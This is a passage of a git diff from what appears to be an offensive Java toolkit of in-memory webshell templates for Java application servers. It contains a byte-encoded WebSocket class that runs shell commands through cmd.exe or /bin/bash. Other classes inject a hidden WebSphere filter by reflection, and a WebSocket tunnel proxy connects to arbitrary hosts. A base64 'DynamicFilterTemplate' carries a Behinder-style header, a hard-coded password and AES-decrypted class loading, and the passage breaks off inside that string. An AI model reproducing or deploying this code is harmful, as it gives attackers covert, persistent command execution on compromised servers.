106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; - Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + Class clazz; + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); - WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); if (null == container.findMapping(urlPath)) { try { container.addEndpoint(configEndpoint); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java index dbce219..0741354 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java @@ -19,7 +19,7 @@ public class WSFMSFromThread implements Filter { static { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -30,7 +30,7 @@ public class WSFMSFromThread implements Filter { if (o == null) continue; if (o.getClass().getName().endsWith("WebContainerRequestState")) { - Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); field = servletContext.getClass().getDeclaredField("context"); @@ -41,7 +41,7 @@ public class WSFMSFromThread implements Filter { field.setAccessible(true); Object webAppConfiguration = field.get(context); - Method method = null; + Method method = null; Method[] methods = webAppConfiguration.getClass().getMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals("getFilterMappings")) { @@ -54,7 +54,7 @@ public class WSFMSFromThread implements Filter { boolean flag = false; for (int i = 0; i < filerMappings.size(); i++) { Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); - String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); if (name.equals(NAME)) { flag = true; break; diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java index f135ccc..6412204 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java @@ -26,18 +26,18 @@ public class WSWebsphereProxy extends Endpoint { static { try { Thread threadLocal = Thread.currentThread(); - Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); workEntry.setAccessible(true); weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); - Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); field1.setAccessible(true); weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); - ServletRequestImpl request = connectionHandler.getServletRequest(); - String path = request.getParameter("path"); - ServletContext servletContext = request.getSession().getServletContext(); - ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WSWebsphereProxy.class, path).build(); - WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); - Field name = null; + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WSWebsphereProxy.class, path).build(); + WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); + Field name = null; try { name = container.getClass().getDeclaredField("noMoreAdds"); name.setAccessible(true); @@ -58,13 +58,13 @@ public class WSWebsphereProxy extends Endpoint { } } - long i = 0; - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - HashMap map = new HashMap(); + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); void readFromServer(Session channel, AsynchronousSocketChannel client) { final ByteBuffer buffer = ByteBuffer.allocate(102400); - Attach attach = new Attach(); + Attach attach = new Attach(); attach.client = client; attach.channel = channel; client.read(buffer, attach, new CompletionHandler() { @@ -73,8 +73,8 @@ public class WSWebsphereProxy extends Endpoint { buffer.clear(); try { if (buffer.hasRemaining() && result >= 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); if (scAttachment.channel.isOpen()) { @@ -84,8 +84,8 @@ public class WSWebsphereProxy extends Endpoint { readFromServer(scAttachment.channel, scAttachment.client); } else { if (result > 0) { - byte[] arr = new byte[result]; - ByteBuffer b = buffer.get(arr, 0, result); + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); readFromServer(scAttachment.channel, scAttachment.client); } @@ -109,13 +109,13 @@ public class WSWebsphereProxy extends Endpoint { z.flip(); z.clear(); } else if (i == 1) { - String values = new String(z.array()); - String[] array = values.split(" "); - String[] addrarray = array[1].split(":"); - AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); - int po = Integer.parseInt(addrarray[1]); - InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); - Future future = client.connect(hostAddress); + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); try { future.get(10, TimeUnit.SECONDS); } catch (Exception ignored) { @@ -150,6 +150,6 @@ public class WSWebsphereProxy extends Endpoint { static class Attach { public AsynchronousSocketChannel client; - public Session channel; + public Session channel; } } diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java index f3217fc..08f4cd1 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java @@ -22,7 +22,7 @@ public class WebsphereMemshellTemplate extends AbstractTranslet { String filterName = "dynamicFilter"; String urlPattern = "/*"; - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -33,7 +33,7 @@ public class WebsphereMemshellTemplate extends AbstractTranslet { if (o == null) continue; if (o.getClass().getName().endsWith("WebContainerRequestState")) { - Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); field = servletContext.getClass().getDeclaredField("context"); @@ -44,7 +44,7 @@ public class WebsphereMemshellTemplate extends AbstractTranslet { field.setAccessible(true); Object webAppConfiguration = field.get(context); - Method method = null; + Method method = null; Method[] methods = webAppConfiguration.getClass().getMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals("getFilterMappings")) { @@ -57,7 +57,7 @@ public class WebsphereMemshellTemplate extends AbstractTranslet { boolean flag = false; for (int i = 0; i < filerMappings.size(); i++) { Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); - String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); if (name.equals(filterName)) { flag = true; break; @@ -73,8 +73,8 @@ public class WebsphereMemshellTemplate extends AbstractTranslet { clazz = cl.loadClass("com.qi4l.JYso.template.DynamicFilterTemplate"); } catch (ClassNotFoundException e) { BASE64Decoder base64Decoder = new BASE64Decoder(); - String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphd